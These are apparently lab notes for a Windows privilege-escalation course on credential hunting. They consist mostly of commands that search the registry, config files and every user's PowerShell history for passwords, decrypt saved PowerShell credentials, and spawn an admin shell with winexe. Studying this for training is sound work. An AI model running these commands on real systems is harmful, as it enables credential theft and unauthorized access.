SessionGopher

GitHub - Arvanaghi/SessionGopher: SessionGopher is a PowerShell tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. It can be run remotely or locally.GitHub

PS C:\htb> Import-Module .\SessionGopher.ps1
 
PS C:\Tools> Invoke-SessionGopher -Target WINLPE-SRV01

EvilTree - Regex

GitHub - t3l3machus/eviltree: A python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches.GitHub

Regex to look for passwords: -x ".{0,3}passw.{0,3}[=]{1}.{0,18}"
Keywords to look for sensitive info: -k passw,db_,admin,account,user,token

python3 eviltree.py -r C:\xampp -k password,passwd,admin -i -v -q

PS C:\htb> runas /savecred /user:inlanefreight\bob "COMMAND HERE"

Passwords - Registry

The registry can be searched for keys and values that contain the word "password": reg query HKLM /f password /t REG_SZ /s

If you want to save some time, query this specific key to find admin AutoLogon credentials: eg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found): winexe -U 'admin%password' //10.10.149.66 cmd.exe

Application Configuration Files

Start at C:\Users

PS C:\htb> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml

Sensitive IIS information such as credentials may be stored in a web.config file

PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore

PowerShell History File

, PowerShell stores command history to the file:

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS C:\htb> (Get-PSReadLineOption).HistorySavePath

C:\Users\htb-student\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS C:\htb> gc (Get-PSReadLineOption).HistorySavePath

wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02

One-liner to retrieve the contents of all Powershell history files that we can access as our current user.

PS C:\htb> foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

dir
cd Temp
md backups
cp c:\inetpub\wwwroot\* .\backups\

wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02

We should always recheck these files once we have local admin if our prior access did not allow us to read the files for some users.

PowerShell Credentials

Take, for example, the following script Connect-VC.ps1, which a sysadmin has created to connect to a vCenter server easily.

# Connect-VC.ps1
# Get-Credential | Export-Clixml -Path 'C:\scripts\pass.xml'
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
Connect-VIServer -Server 'VC-01' -User 'bob_adm' -Password $decryptedPassword

Decrypting PowerShell Credentials

In the context of this user or abuse DPAPI

PS C:\htb> $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
PS C:\htb> $credential.GetNetworkCredential().username

bob


PS C:\htb> $credential.GetNetworkCredential().password
